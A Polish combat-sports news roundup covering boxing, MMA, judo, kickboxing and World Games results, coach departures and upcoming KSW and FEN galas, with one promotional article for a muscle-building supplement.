O dziwo nie zastanawiała się zbyt długo. Po rozmowie z rodzicami wspólnie zdecydowali o szybkim powrocie do Polski, by Jessica mogła w ringu reprezentować Biało-Czerwonych i dla nich zdobywać medale. Jessica Żelazko na pewno będzie reprezentować naszą Ojczyznę już w listopadzie tego roku na Mistrzostwach Świata w Indiach, a trener Jacek Dymowski nie ukrywa, że ich dalszym celem jest Olimpiada w Tokio w 2020 roku.

Nie pozostaje nam nic innego jak tylko pogratulować Polskiej Kadrze, nowej,wspaniałej zawodniczki, a samej zawodniczce życzyć sukcesów w biało-czerwonych barwach i podziękować za mądrą i dojrzałą decyzję.

Obecnie Jessica i jej rodzina, muszą jednak stoczyć kolejną walkę, a mianowicie zorganizować przeprowadzkę z Wielkiej Brytanii do Polski, praktycznie z dnia na dzień. Dlatego też, poszukiwane są firmy oraz sponsorzy prywatni, którzy zechcieliby wspomóc tę młodą zawodniczkę, by jak najszybciej mogła zamieszkać w swojej Ojczyźnie i skupić się na treningach i oczywiście nauce w nowej szkole. Zwracamy się również do wszystkich czytelników o wsparcie Jessici w jej dążeniu do celu i trzymanie za nią kciuków, bo z pewnością w najbliższym czasie będzie zdobywać medale dla na nas wszystkich, dla Polski.

FightExpert Magazin

Łomaczenko ponownie zwycięski

Wasyl Łomaczenko nie zwalnia tempa. 29-letni Ukrainiec pokonał w Los Angeles Miguela Marriagę i tym samym po raz szósty z rzędu wygrał przed czasem.

Od ponad roku w posiadaniu Ukraińca znajduje się pas mistrzowski WBO w wadze super piórkowej. Łomaczenko ponownie potwierdził swoją dominację i udowodnił, że określanie go jednym z najlepszych bokserów na świecie nie jest na wyrost.

Zawodowy amator

Można zaryzykować stwierdzenie, że 29-latek nadal buduje pozycję w zawodowym boksie. Choć w swoim dorobku zapisał pas WBO w kategorii piórkowej i super piórkowej, to stoczył zaledwie dziesięć walk. Ale pierwszy pojedynek zawodowy stoczył dopiero w październiku 2013 roku. W ciągu 3,5 roku zbudował silną pozycję w świecie boksu. Łomaczenko jest określany jako jeden z najlepszych pięściarzy świata bez podziału na kategorie wagowe.

Już na amatorstwie zawodnik z Białogrodu imponował umiejętnościami. Pierwszy sukces odniósł w wieku 19 lat zdobywając w Chicago (2007) srebrny medal mistrzostw świata w kategorii piórkowej. To był dopiero początek lawiny sukcesów w wykonaniu Łomaczenki. Na swoim koncie Ukrainiec zapisał dwa złote medale igrzysk olimpijskich w Pekinie i w Londynie, ale w 2012 roku rywalizował już w kategorii lekkiej. Zdobywał również mistrzostwo świata (dwukrotnie) i mistrzostwo Europy. Łącznie stoczył blisko 400 walk amatorskich.

Zdobyte doświadczenie Łomaczenko świetnie wykorzystuje na zawodowstwie. W Los Angeles Ukrainiec zdał kolejny test. Jego rywalem był 30-letni Miguel Marriaga, który za wszelką cenę chciał zdobyć pas mistrzowski. Blisko cztery miesiące temu rywalizował z Oscarem Valdez o tytuł w wadze piórkowej, ale przegrał na punkty. Kolumbijczyk postanowił spróbować swoich sił w wyższej kategorii, lecz ponownie musiał obejść się smakiem.

Bez litości dla rywala

Łomaczenko walkę z Marriagą zaczął w swoim stylu. Ruszył do przodu, niepokoił rywala, delikatnie budował swoją przewagę. Po raz pierwszy odpalił w trzeciej rundzie, gdy Kolumbijczyk otrzymał dwa lewe proste i padł na deski. O tym, że Łomaczenko potrafi robić show, nikogo nie trzeba przekonywać. Ukrainiec stanął w narożniku i zaprosił rywala do walki. Reakcja publiczności była niezwykle entuzjastyczna.

Nie zabrakło krwi, która pojawiła się na twarzy… mistrza. W czwartej rundzie zawodnicy przypadkowo zderzyli się głowami. Z każdą odsłoną sytuacji Marriagi coraz bardziej komplikowała się. W siódmej rundzie maszyna ruszyła. Łomaczenko odpalał kolejne ciosy, obijał dół, dodawał podbródkowe, Kolumbijczyk nie mógł wytrzymać tego naporu. Marriaga padł na deski, wstał i udał się do narożnika, który zdecydował o poddaniu walki.

Na konto czempiona WBO wpłynie 750 tysięcy dolarów, z kolei pokonany musi zadowolić się 50 tysiącami.

Fot. Facebook Wasyl Łomaczenko

KM

Prachnio znów wygrywa przed czasem

Marcin Prachnio (MMA) odniósł trzynaste zwycięstwo w karierze. Na gali One Championship: Kings & Conquerors w Makau Polak znokautował Gilberto Galvao. Szczęścia nie miał Michał Pasternak. 33-latek zanotował trzecią porażkę podczas przygody z organizacją One Championship.

29-letni Prachnio, rywalizujący w kategorii półciężkiej, kontynuuje fantastyczną passę zwycięstw. W Makau wygrał ósmy pojedynek z rzędu.

Dziewiąty raz

Marcin Prachnio jest szybki i skuteczny jak kobra. Nie kalkuluje, nie czeka na rywala, lecz rusza do przodu i dopada do swojej ofiary, aby zadać decydujący cios. W Makau Polak spotkał się z doświadczonym Brazylijczykiem Gilberto Galvao. 35-latek z niejednego pieca chleb jadł i na swoim koncie zapisał 29 zwycięstw. Jednak sześć lat młodszy Prachnio pokazał Brazylijczykowi, czym jest skuteczność.

Prachnio zdecydowanie przystąpił do rywalizacji z Galvao. Nie minęło półtorej minuty i wszystko było jasne. Potężny prawy powalił Brazylijczyka na deski, Polak dobił rywala uderzeniami w parterze. Sędzia dostrzegł, że 35-latek nie jest w stanie przeciwstawić się naporowi przeciwnika i przerwał starcie. Prachnio ponownie mógł wznieść ręce w geście triumfu.

Co warto podkreślić, dla 29-latka było to dziewiąte zwycięstwo odniesione w pierwszej rundzie. Dotychczas w singapurskiej organizacji One Championship Prachnio stoczył cztery walki, trzy z nich zakończył w premierowej odsłonie.

Kolejna porażka Pasternaka

Na gali w Makau zaprezentował się również Michał Pasternak. Rywalem Polaka był Leandro Ataides, który ponad rok temu napsuł sporo krwi Marcinowi Prachnio. Jednak Brazylijczyk nie ma najlepszych wspomnień z tamtego spotkania. W Makau ponownie udowodnił, że jest trudnym przeciwnikiem, jednak tym razem Ataides miał powody do radości. Po upływie trzech rund 30-latek wygrał na punkty. Z kolei dla Pasternak poniósł trzecią porażkę podczas przygody z organizacją One Championship.

33-latek był pierwszym Polakiem, który podpisał kontrakt z singapurską organizacją. Pasternak zaliczył udany debiut, wygrywając w grudniu 2014 roku z Rafaelem Silvą. Pół roku później Polak dostał szansę rywalizacji o pas mistrzowski. Roger Gracie zapiął trójkąt rękami i wygrał przez poddanie. Od tamtej pory Pasternak zanotował tylko jedno zwycięstwo. Na gali PLMMA 73 pokonał Sylwestra Borysa.

Fot. sherdog

KM

Mass Attack – polecany produkt na rozwój masy mieśniowej

W sklepach specjalizujących się w sprzedaży suplementów diety i odżywek dla sportowców można odnaleźć wiele produktów, które mają wspomóc budowanie masy mięśniowej. Jednak nie wszystkie z nich są godne uwagi – np. zawierają jeden składnik lub mają nieodpowiednio dobrane proporcje. Swoją uwagę lepiej skierować ku produktom, które kompleksowo wspierają organizm w czasie dużego wysiłku takich, jakim jest np. Mass Attack – jeden z najnowszych i chętnie polecanych przez specjalistów suplement diety na rozwój masy mięśniowej.

Dlaczego warto wybrać Mass Attack?

Mass Attack jest suplementem diety, który został stworzony przede wszystkim z myślą o osobach, które poważnie podchodzą do budowania masy mięśniowej, np. chcą brać udział w zawodach kulturystycznych. Z produktu mogą korzystać również pełnoletnie osoby, które chcą rozpocząć przygodę z bardziej wymagającymi ćwiczeniami, które wiążą się z dużym wysiłkiem i wycieczeniem organizmu. Szczególnie polecany jest dla osób, których treningi są krótkie, ale intensywne.

Skład produktu został dobrany w taki sposób, aby kompleksowo dopowiadać na potrzeby organizmu. Znajdują się w nim składniki, które przede wszystkim wspomagają rozbudowę mięśni i tworzenie nowych struktur mięśniowych (odpowiednio dobrane grupy aminokwasów), ale w Mass Attack można znaleźć również składniki wspomagające regenerację organizmu po treningu (np. witamina B12), czy chroniące mięśnie i stawy przed degeneracją lub kontuzja w czasie ćwiczeń (np. hydrolizowany kolagen czy witamina E). Odpowiednio dobrane proporcje w tym preparacje pozwalają na uzyskanie optymalnych efektów. Trzeba jednak pamiętać o tym, że najlepsze efekty w budowaniu masy mięśniowej uzyska się przy odpowiednim połączeniu treningów, stosowanych suplementów diety i przygotowaniu zbilansowanej diety. W tym celu najlepiej zwrócić się o poradę do trenera lub dietetyka.

Jak należy stosować suplement diety wspomagający budowanie masy mięśniowej Mass Attack?

Producent zaleca stosowanie 5 miarek produktu (około 50 gram) na 220 ml wody lub mleka. Taką ilość proszku należy dokładnie wymieszać z płynem. Do przygotowania napoju najlepiej użyć shakera, przy pomocy którego łatwo rozprowadzi się proszek bez powstania grudek. Zaleca się picie tak przygotowanego roztworu około 15 minut po zakończonym treningu. Co istotne, zaleca się także przyjmowanie suplementu diety również w dniach, kiedy trening się nie odbywa. Produkt jest przeznaczony wyłącznie dla osób dorosłych i najlepiej stosować go po konsultacji z trenerem i dietetykiem. Wówczas najlepiej suplement diety przyjąć pomiędzy posiłkami. Warto też pamiętać o odpowiednim przechowywaniu produktu – po jego otwarciu należy trzymać je szczelnie zabezpieczone w temperaturze nieprzekraczającej 25 stopni Celsjusza.

Najwyższe zarobki bokserów w historii boksu

O tym, że podczas jednej walki bokserskiej do wygenerowania możliwe są przychody, o jakich mogą pomarzyć nawet piłkarze, wiedzą wszyscy. Trudno się temu dziwić, gdyż zintensyfikowana i kompaktowa walka bokserska potrafi dostarczyć kibicom takich emocji, jakich nie jest w stanie żadna inna rozgrywka sportowa. Nie dziwi zatem niemalejąca popularność boksu zarówno wśród oglądających, jak i aktywnie obstawiających zakłady bukmacherskie. Kto i ile zarobił podczas 5 najdroższych walk w historii? Sprawdźmy.

5. Mike Tyson vs. Evander Holyfield 1(1996), “Finally”

Mowa tutaj o walce pomiędzy Tysonem a Holyfieldem z 1996 roku. Nie jest to jednak ta, którą pamiętają wszyscy, a która miała miejsce zaledwie rok później. Okoliczności walki nie były "kolorowe" dla obu zawodników, gdyż zdawać by się mogło, że dopiero wracali na arenę światowego boksu. W świetle odzyskania tytułu przez Tysona i kilku mało znaczących zwycięstwie Holyfielda wszyscy obstawiali, że to właśnie ten pierwszy wygra z przytłaczającą przewagą.

W pierwszej rundzie kibice mogli być świadkiem ostrej wymiany ciosów niczym z filmu. W kolejnej Holyfield wyprowadził cios, który chwilowo ogłuszył Tysona. Jednak, jak się okazało później, sam niezbyt pewnie trzymał się już na nogach. Kolejne rundy pokazały znaczącą dominację Holyfielda. W 10 rundzie przed jego szarżą Tyson został uratowany przez gong. Mike w całej swojej karierze nie zaliczył tak sromotnej przegranej. Pomimo porażki zarobił on 30 mln dolarów.

4. Evander Holyfield vs. Mike Tyson 2 (1997), “The Sound and The Fury AKA The Bite Fight”

Walka pomiędzy Holyfieldem a Tysonem z 1997 roku przeszła do historii, nie tylko jako jedna z najdroższych, ale również jedna z najbardziej kontrowersyjnych.

To właśnie w czasie jej trwania, gdy Evander znowu zyskiwał przewagę nad Tysonem, Mike podjął się desperackiej próby przechylenia walki na swoją korzyść. Gdy doszło do klinczu w 3 rundzie, odgryzł kawałek ucha Evanderowi. Sędzia poprosił o przerwę, gdyż sytuacja była tak niespotykana, że ciężko było mu zdecydować, co zrobić w takiej sytuacji. Mike nie został zdyskwalifikowany i oboje zawodników powróciło na ring. Kontynuacja 3 rundy i kolejny klincz był okazją dla Tysona dla odgryzienia kawałka drugiego ucha swojego przeciwnika. Gdy po walce kolejny "faul" wyszedł na jaw, Mike został zdyskwalifikowany, a Holyfield otrzymał tytuł mistrzowski. Za tą walkę Evander zainkasował 35 mln dolarów.

3. Oscar De La Hoya vs. Floyd Mayweather (2007), “The World Awaits”

Walka Oscara De La Hoya i Floyda Mayweathera z 2007 roku była tą, która przyćmiła oglądalnością legendarną walkę pomiędzy Tysonem i Holyfieldem sprzed 10 lat.

Podczas walki mogliśmy obserwować nieustanne próby natarcia ze strony Oscara De La Hoya, lecz były one często stopowane przez lewy prosty Mayweathera. Inne natomiast kończyły się klinczem jedną ręką lub wychodzeniem poza dystans poprzez odepchnięcie i odskok.

Ostatecznie to Mayweather wygrał niejednogłośną decyzją sędziów. Była to ostatnia walka, w której ktoś zarobił więcej niż Floyd. De La Hoya zgarnął za ten pojedynek 52 mln dolarów.

2. Floyd Mayweather vs. Canelo Alvarez (2013), “The One”

Historia nie odnotowała do tego czasu tak wysokiej stawki, jaką za walkę zgarnął jej zwycięzca (80 mln dolarów dla Floyda). Mające miejsce w roku 2013 wydarzenie sportowe, zaskoczyło wszystkich wielbicieli boksu taktyką objętą przez obu zawodników.

Fani Canelo byli zadziwieni odmienną od jego innych walk postawą. Bardzo agresywny w większości potyczek zawodnik tym razem bił się wyjątkowo zachowawczo. Większość podejmowanych akcji z jego strony była jedynie kontratakiem na lewe proste Mayweathera. Można było odnieść wrażenie, że zachowywał on także większą niż zazwyczaj oszczędność w ilości zadawanych ciosów.

Niestety próby przejęcia inicjatywy były niewystarczające dla odniesienia zwycięstwa, a walka została wygrana przez Floyda.

""

1. Floyd Mayweather vs. Manny Pacquiao (2015), “The Fight of the Century” lub “The Battle for Greatness”

Najdroższe walki, jakie pamięta historia boksu sportowego, które wymieniliśmy do tej pory, nie pozwoliły zainkasować takich kwot, jakie zgarnęli Mayweather i Pacquiao w imprezie z roku 2015. Pod względem intensywności, jak i obrotu sum pieniężnych, walka ta została ogłoszona "walką stulecia".

Potyczka była starciem 2 całkowicie odmiennych od siebie stylów. Znany ze swojej szybkości i nieustępliwości Manny nie odpuszczał ani na krok cofającego się Mayweathera. Mimo tego żadna z jego akcji nie zakończyła się nokautem. Sędziowie uznali, że kontrataki Mayweathera były skuteczniejsze, co ostatecznie zadecydowało o jego zwycięstwie. Po walce, na jego konto spłynęło 180 mln dolarów.

Do najbardziej kasowych walk w historii boksu, może niedługo już dołączyć kolejna. Wciąż pełen sił i werwy do walki Floyd Mayweather zmierzy się już 26 sierpnia z gwiazdą MMA McGregorem Conorem. Przy obecnych spekulacjach Floyd może zarobić na tym między 200 a 300 milionów dolarów! Eksperci i najlepsi bukmacherzy zgodnie obstawiają, że zwycięzcą będzie „Money”.

Najdroższe walki w historii boksu przejdą do annałów zarówno ze względu na zainwestowany kapitał, jak i samych czołowych zawodników, którzy dawali od siebie czasem nawet więcej, niż oczekiwałby od nich tego sam tłum.

Najman proponuje, Szpilka niezainteresowany?

Nietypowa propozycja Marcina Najmana skierowana do Artura Szpilki. Popularny „El Testosteron” chciałby zmierzyć się, że „Szpilą” w przyszłym roku na stadionie PGE Narodowym.

Artur Szpilka znajduje się na zakręcie. Wrócił na ring po półtorarocznej przerwie i w Nowym Jorku przegrał przez techniczny nokaut z Adamem Kownackim.

Propozycja nie do odrzucenia?

Szpilka zanotował dwie porażki z rzędu. Wymarzony świat wielkich walk bokserskich oddala się od boksera urodzonego w Wieliczce. W Szpilkę wierzy Marcin Najman, który zamieścił na swoim Facebooku krótki film skierowany do 28-latka. – Witam Cię Artur! Na wstępie chciałem powiedzieć, że bardzo mi przykro, że przechodzisz teraz tak trudny moment. Nigdy mi nie wchodziłeś w drogę, a ja ludziom, którzy mi nie wchodzą w drogę zawsze życzę dobrze, więc i tobie życzę wszystkiego dobrego. Kiedyś przechodziłem w swoim życiu tak trudny moment jak ty teraz. Przegrałem trzy walki z rzędu, choć ta porażka z Saletą to tak naprawdę oszustwo sędziowskie, a nie porażka. Ale mimo wszystko był to bardzo trudny moment dla mnie. Podniosłem się, od tamtego czasu wygrałem cztery walki, wszystkie przed czasem – mówił Marcin Najman.

Bokser i zawodnik MMA chciałby spotkać się w ringu ze Szpilką. Termin: 26 maja 2018, miejsce: PGE Narodowy. Pojedynek miałby odbyć się na zasadach bokserskich. – Ludzi ocenia się po tym jak potrafią wstawać, a nie upadać. Artur, jestem przekonany, że dasz sobie radę i wstaniesz. I w tym miejscu przychodzę do ciebie z pomocną dłonią, ponieważ mam dla ciebie propozycję walki na jednej z największej gal sportów walki jakie się odbędą w Polsce – tłumaczy Najman.

Co na ten temat sądzisz Artur Szpilka? Po walce z Kownackim jego aktywność w mediach społecznościowych spadła, jednak zaczepiony na Twitterze przez Łukasz Jurkowskiego krótko ustosunkował się do propozycji Najmana. Bokser wymownie napisał: „Przestań Amigo proszę”.

Szpilka jeszcze w tym roku

Najman chciałby, aby gala, której jest organizatorem była wielkim wydarzeniem. Z pewnością Artur Szpilka wzbudziłby zainteresowanie kibiców. Jednak już teraz wiele osób nie traktuje poważnie propozycji Najmana.

Sam Szpilka jak najszybciej musi się odbudować po porażce z Kownackim. Niewykluczone, że w tym roku stoczy jeszcze dwie walki. Pierwszą ze słabszym rywalem, zaś kolejna prawdopodobnie miałaby miejsce 2 grudnia.

KM

Dwa festiwalowe medale, trzy berlińskie

Aktywny czas za młodymi judokami. W węgierskim Gyor odbył się Letni Olimpijski Festiwal Młodzieży, z kolei w Berlinie juniorzy rywalizowali w Pucharze Europy. Łącznie nasi reprezentanci wywalczyli pięć medali.

W Gyor wystartowało 12 Polaków, a w Berlinie 19. Do pełni szczęścia zabrakło tylko złota. 

Kropska w formie

17-letnia Natalia Kropska (57kg) jest w formie. W tym roku nasza judoczka startowała już w siedmiu turniejach na poziomie międzynarodowym. Szczęśliwy dla Kropskiej okazał się Berlin, gdzie stanęła na najwyższym stopniu podium. 17-latka wywalczyła brązowy medal w mistrzostwach Europy kadetów. 

Młoda Polka miała genialny początek w Letnim Olimpijskim Festiwalu Młodzieży Europy w judo. Zawodniczka GKS Czarni Bytom wygrała dwie walki przed czasem, jednak w półfinale przegrała ze zwyciężczynią tegorocznego Pucharu Europy w Bielsku Słowenką Kają Kajzer. W starciu o trzecie miejsce 17-latka dynamicznie uporała się z Turczynką Hasret Bozkurt. Polka do zwycięstwa potrzebowała zaledwie 35 sekund.

Blisko złota był Wojciech Kordyalik (+90kg). W tym roku młody Polak nie stał jeszcze na podium. Najlepszy występ zanotował w Zagrzebiu, gdzie wywalczył siódmą pozycję.  W Gyor Kordyalik wygrał trzy walki. Jego najdłuższy pojedynek trwał nieco ponad 80 sekund. W finale Polak musiał uznać wyższość mistrza Europy z 2016 roku Richarda Sipocza.

Blisko podium był Kacper Kubiak (90kg), jednak ostatecznie uplasował się na piątym miejscu.

Trójka w Berlinie

Trzecie zawody z rzędu i Julia Kowalczyk (57kg) ponownie na podium. W Berlinie 19-latka wygrała trzy walki, jednak w półfinale na Francuzkę Leonoe Sarag Cysique nie znalazła sposobu. Po zaciętym pojedynku rywalka wygrała przez waza-ari. W starciu o brąz Kowalczyk pokonała Brytyjkę Lele Nairne.

Kolejny brąz na koncie Jakuba Ozimka (90kg). Na początku lipca judoka stanął na najniższym stopniu podium w Gdyni. W Berlinie Ozimek wygrał aż pięć walk, przegrał jedną. Lepszy od Polaka okazał się Jamal Petgrave, co sprawiło, że 19-latek musiał radzić sobie w repasażach. Ozimek znakomicie sobie poradził, a w starciu o medal pokonał mistrza świata kadetów z 2015 roku Falka Petersilka.

Trzy wygrane, po drodze wyeliminował Dominika Majowskiego, dały brąz Kacprowi Szczurowskiemu (100kg).  

Na siódmym miejscach rywalizację zakończyli: Daria Tymman (78kg) i Cezary Tchórzewski (73kg).

Fot. judobase

KM

Radosz i Siegert z medalami w muay thai

Łukasz Radosz (91kg) i Oskar Siegert (63,5kg) na podium w muay thai w 10. Światowych Igrzyskach Sportowych we Wrocławiu. Medalowymi zdobyczami możemy pochwalić się również w jiu jitsu.

Światowe Igrzyska Sportowe to święto sportów nieolimpijskich, wśród których nie brakuje sportów walki. Nasi fighterzy zdobyli łącznie 18 medali. Ostatniego dnia rywalizacji o najwyższe laury rywalizowano w muay thai.

Cztery szanse

Dużo zdrowia w ringu pozostawił Łukasz Radosz (91kg). W półfinale brązowy medalista mistrzostw świata IFMA 2016 pokonał Jakuba Klaudę. Czech okazał się bardzo niewygodnym rywalem i napsuł sporo krwi Polakowi, jednak to nasz zawodnik wygrał 29:28 i awansował do finału. Radosz stanął przed ogromną szansą na zdobycie złotego medalu. W finale Polak miał zmierzyć się  z Olegiem Pryjmaczowem. Miał…, bo z powodu kontuzji nie mógł zaprezentował swoich umiejętności.

Polska miała również trzy „brązowe” szanse medalowe. Po wyraźnej półfinałowej porażce (27:30) z Alim Zarinfarem, Oskqr Siegert (63,5kg) podrażniony przystąpił do rywalizacji w finale pocieszenia. Polak pokazał klasę, a jego rywal Ahmad Ondasha przegrał w związku z niezdolnością do walki (RSC). 

Szansy medalowej nie wykorzystała Gabriela Kuzawińska (51kg). Z powodu kontuzji do starcia o brąz nie przystąpił Rafał Korczak (81kg).

Medalowe jiu jitsu

Nie zawiedli nasi reprezentanci w jiu jitsu, którzy przyzwyczaili, że w każdych Światowych Igrzyskach Sportowych wyróżniają się i zdobywają wiele medali. Nie inaczej było we Wrocławiu.

Tomasz Szewczak (94kg) był murowanym kandydatem do złota. Mistrz świata spełnił pokładane w nim nadzieje i w finale rozbił Mohsema Hamida 14:0. Złoty medal zawisł także na szyi Jędrzeja Loski (62kg). Chciałoby się powiedzieć, że nieważne jak się zaczyna. A koniec w przypadku Loski był świetny. W grupie Polak jedną walkę wygrał i jedną przegrał. Loska pokonał Rona Cohena, który był ostatnią przeszkodą na drodze do finału. W decydującym boju Polak spotkał się z Alejandro Ortizem. Sędzia przerwał starcia i ogłosił zwycięstwo Loski. Polak „uśpił” rywala.

Po brąz w kategorii open sięgnęła Emilia Maćkowiak. Rafał Riss (+94kg) zdobył srebro, tak jak i Maciej Polok (69kg). Brąz we Wrocławiu wywalczył Maciej Kozak (77kg). Biało-czerwoni stanęli na najniższym stopniu podium w rywalizacji drużynowej.

Na trzeciej pozycji w karate uplasował się Michał Bąbos (+84kg). O zdobyczach medalowych naszych kickboxerów i sumoków pisaliśmy tu

KM

Wykorzystali zaproszenie

Ogromny sukces polskiego kickboxingu! Sześć medali wywalczyli polscy fighterzy na Światowych Igrzyskach Sportowych we Wrocławiu, co pozwoliło im triumfować w klasyfikacji generalnej. Warto wspomnieć, że kickboxing był sportem na zaproszenie. Ale to nie jedyne medale wywalczone we Wrocławiu przed przedstawicieli sportów walki.

World Games nadal trwają. Ściskamy kciuki za naszych reprezentantów w jiu jitsu, którzy w 2013 roku w Cali wywalczyli cztery krążki. We Wrocławiu do dorobku medalowego „dorzucili” się również nasi sumocy.

Kickboxerzy na szóstkę

Przed startem World Games mieliśmy wyostrzone apetyty, ponieważ zdawaliśmy sobie sprawę, że podopiecznych Tomaszów Skrzypka i Mamulskiego stać na wiele. Jak smakuje złoto? Na to pytanie znają odpowiedź Marta Waliczek (60kg) i Dawid Kasperski (86kg). Zawodniczka DAAS Berserkers Team Bielsko-Biała pokonała w finale Melissę Aceves Martinez. Meksykanka postawiła Polce trudne warunki, ale doświadczenie Waliczek okazało się receptą na sukces. Martinez starała się agresywnie atakować, ale fighterka z Bielska przerywała jej akcje i skutecznie kontrowała. Dawid Kasperski pewnie wypunktował Mesuda Selimovica. Bośniak nie miał nic do powiedzenia w starciu z Polakiem, który w pełni zdominował rywalizację.

W finałach wystąpili również Michał Ronkiewicz (75kg) i Mateusz Pluta (91kg), ale obaj przegrali odpowiednio z Zakarią Laaouatnim i Igorem Darmeszkinem. Łącznie polska kadra prowadzona przez Tomasza Skrzypka i Tomasza Mamulskiego zdobyła sześć medali. Brązowe krążki wywalczyli Małgorzata Dymus (56kg) i Wojciech Kazieczko (67kg). Reprezentująca barwy Fightera Wrocław zawodniczka nie musiała wychodzić do ostatniej walki, gdyż jej rywalka… nie zrobiła wagi. Przypadek Dymus jest niezwykle ciekawy również z innego powodu. W ćwierćfinale miała wolny los, a w półfinale musiała uznać wyższość rywalki z Czech. Również Wojciech Kazieczko nie musiał wychodzić do walki o brąz. A to za sprawą kontuzji rywala, który w półfinale został mocno poobijany.

Polscy kibice kickboxingu mogą być zadowoleni. Nasi kadrowicze pokazali we Wrocławiu, że są niezwykle mocni. Kłopoty zdrowotne nie pozwoliły kontynuować rywalizacji Michałowi Turyńskiemu. Polak wygrał walkę ćwierćfinałową, ale więcej do ringu nie wyszedł. Mamy sześć medali i to jest powód do radości. Szkoda tylko, że zdobycz naszych kadrowiczów, z racji „zaproszenia” dyscypliny, nie jest brana pod uwagę w klasyfikacji końcowej.

Sporty walki przynoszą medale

Nie tylko w kickboxingu biało-czerwoni zdobyli medale. Nasi sumocy sięgnęli po dwa brązowe krążki. Na drodze Magdaleny Macios, która rywalizowała w wadze lekkiej stanęła Luciana Montgomery Higuchi. Stawką był awans do finału, jednak Polka przegrała i znalazła się w ostatniej rundzie repasaży. Macios pokonała rodaczkę Monikę Skibę, a w starciu o brąz wygrała z Yuką Okutomi.

Brąz zawisł również na szyi Pawła Wojdy. Polak przegrał ćwierćfinałową rywalizację z Rosjaninem Batyrem Altjewem. Dwie wygrane walki repasażowe otworzyły Wojdzie drzwi do starcia o brąz, w którym okazał się lepszy od sumoki z Egiptu.

Trwa rywalizacja w jiu jitsu, po której zakończeniu stan posiadania Polski na pewno wzrośnie. Do finałów awansowali Maciej Polok i Jędrzej Loska.

KM

Szokująca decyzja Jeleniewskiego

Trzęsienie ziemi w warszawskim klubie S4 Fight Club. Piotr Jeleniewski podjął decyzję o zakończeniu pracy w roli trenera MMA.

Pod okiem Piotra Jeleniewskiego na szerokie wody wypłynęło kilkunastu zawodników. Trener mógł cieszyć się z wielu zwycięstw swoich zawodników. Sam pokazał również ogromna siłę pokonując raka.

Duże zmiany

Decyzja Piotra Jeleniewskiego zaskoczyła cały polski świat MMA. Wiele osób zastanawia się, czy decyzja szkoleniowca wywoła lawinę i z klubem S4 pożegnają się kolejne znane nazwiska.. Sam Jeleniewski wydał oświadczenie w sprawie swojego odejścia.  – It's done walka Daniela była moją ostatnią w roli trenera w startach zawodowych mma. Było to doświadczenie wyjątkowe, dało mi wiele niezapomnianych emocji, możliwość poznania miejsc i ludzi wyjątkowych. Otrzymałem dzięki tej pracy wyróżnienie udziału w momentach ważnych dla sportowców, z którymi pracowałem. Nie zawsze były to chwile łatwe. Dziękuje im za okazane zaufanie i życzę dalszych sukcesów w ich drodze (pisownia oryginalna) – czytamy w oświadczeniu Piotra Jeleniewskiego.

Trener polskich gwiazd MMA wskazał, że zdobyte doświadczenie będzie cenne przy podejmowaniu kolejnych wyzwań. – Dla mnie nadszedł czas decyzji i podjęcia nowych wyzwań. Jestem związany ze sportami walki od ponad 30 lat, dalej będą częścią mojego życia, ale w innym już wymiarze. Ogrom doświadczenia i wiedzy zdobytej podczas pracy trenerskiej, w myśl zasady „Nauka nigdy się nie kończy”, jest dla mnie istotnym elementem rozwoju, także w wymiarze ludzkim. Wiele lat temu, ktoś, kto wywarł na mnie ogromny wpływ w podejściu do sportów walki, na moje pytanie czemu poświęcił się sztuce walki, odpowiedział: „by być wolnym duchem/umysłem.” Po latach zrozumiałem co miał na myśli i z tym uczuciem, będę dalej podążał swoją drogą. Życie przyniosło mi także doświadczenia, dzięki którym nauczyłem się by: „nie bać się śmierci, lecz nieprzeżytego życia”. Życzę wszystkim, aby ich droga była również pełna przeżyć i wyjątkowych chwil. Jednocześnie dziękuje za wiele lat wsparcia, wiary we mnie ale także opluwania – to jest przecież prawdziwa miara sukcesu w naszym kraju – napisał Jeleniewski.

Piotr Jeleniewski pracował z takimi zawodnikami jak: Łukasz Jurkowski, Marcin Tybura, Daniel Omielańczuk, Mariusz Pudzianowski, Jan Błachowicz, Kamil Waluś, Anzor Azhiev czy Arbi Shamaev.

Co dalej?

Odejście Jeleniewskiego może być początkiem efektu domina. Już mówi się, że z warszawskim klubem S4 pożegnają się Omielańczuk i Błachowicz.

Jedno jest pewne – przygodę z MMA zakończył człowiek, który miał znakomity warsztat, wiedzę i ogromny zapał do pracy. – Na przestrzeni lat rozwinął się trenersko, miał ambicję pomóc zawodnikom najlepiej jak potrafi. Wyniki jego zawodników mówią same za siebie. Teraz kończy się ta przygoda ale zamiast smutku czuję radość i wdzięczność, że mogłem choć raz spróbować Jego warsztatu. Razem świętowaliśmy po walce na KSW Colosseum – napisał na swoim facebooku Łukasz „Juras” Jurkowski.

Fot. Piotr Jeleniewski Facebook

KM

KSW w Dublinie, FEN we Wrocławiu

Jesień pełna sportowych emocji. 22 października w Dublinie odbędzie się czterdziesta gala KSW. Tempa nie zwalnia organizacja Fight Exlusive Night, która osiem dni wcześniej odwiedzi Wrocław.

Po Londynie przyszedł czas na Dublin – KSW kontynuuje podróż europejskim szlakiem. Z kolei FEN ma zaplanowane dwie gale – 12 sierpnia i 14 października.

Mocne wrażenia gwarantowane

„Czterdziestka” to w życiu każdego mężczyzny ważne wydarzenie. Czas na refleksję, wykonanie bilansu dotychczasowych dokonań i określenie kolejnych planów. Po trzynastu latach ta „czterdziestka” stuknie organizacji KSW. Martin Lewandowski i Maciej Kawulski wprowadzili MMA do polskiej świadomość i spopularyzowali ten sport, a zarazem wypromowali wielu zawodników.

Mimo „czterdziestki” na karku, KSW nie ma zamiaru przeżywać kryzysu wieku średniego. Włodarze organizacji mierzą w kolejne sukcesy i dalej chcą budować siłę swojej marki. 22 października w Dublinie odbędzie się gala KSW 40. Niebawem powinniśmy poznać nazwiska pierwszych fighterów, którzy zaprezentują się w stolicy Irlandii.

KSW kontynuuje europejską ekspansję. W październiku 2015 roku polska organizacja przygotowała galę na stadionie piłkarskim Wembley, która okazała się sporym sukcesem. Londyn okazał się szczęśliwy dla Tomasza Narkuna, który zdobył tytuł mistrzowski w wadze ciężkiej. Z kolei Borys Mańkowski po raz drugi obronił pas w kategorii półśredniej. A w walce wieczoru Mariusz Pudzianowski musiał uznać wyższość Petera Grahama.

Wybór Irlandii wydaje się właściwy z racji tego, że jest to jeden z najbardziej chłonnych rynków MMA. Gala KSW powinna spotkać się ze sporym zainteresowaniem z racji zamieszkania na zielonej wyspie wielu Polaków.

W maju kibice MMA mogli emocjonować się rywalizacją na stadionie PGE Narodowy w Warszawie. Galę KSW 39 śledziło ponad 57 tysięcy widzów.

Kolejna gala na horyzoncie

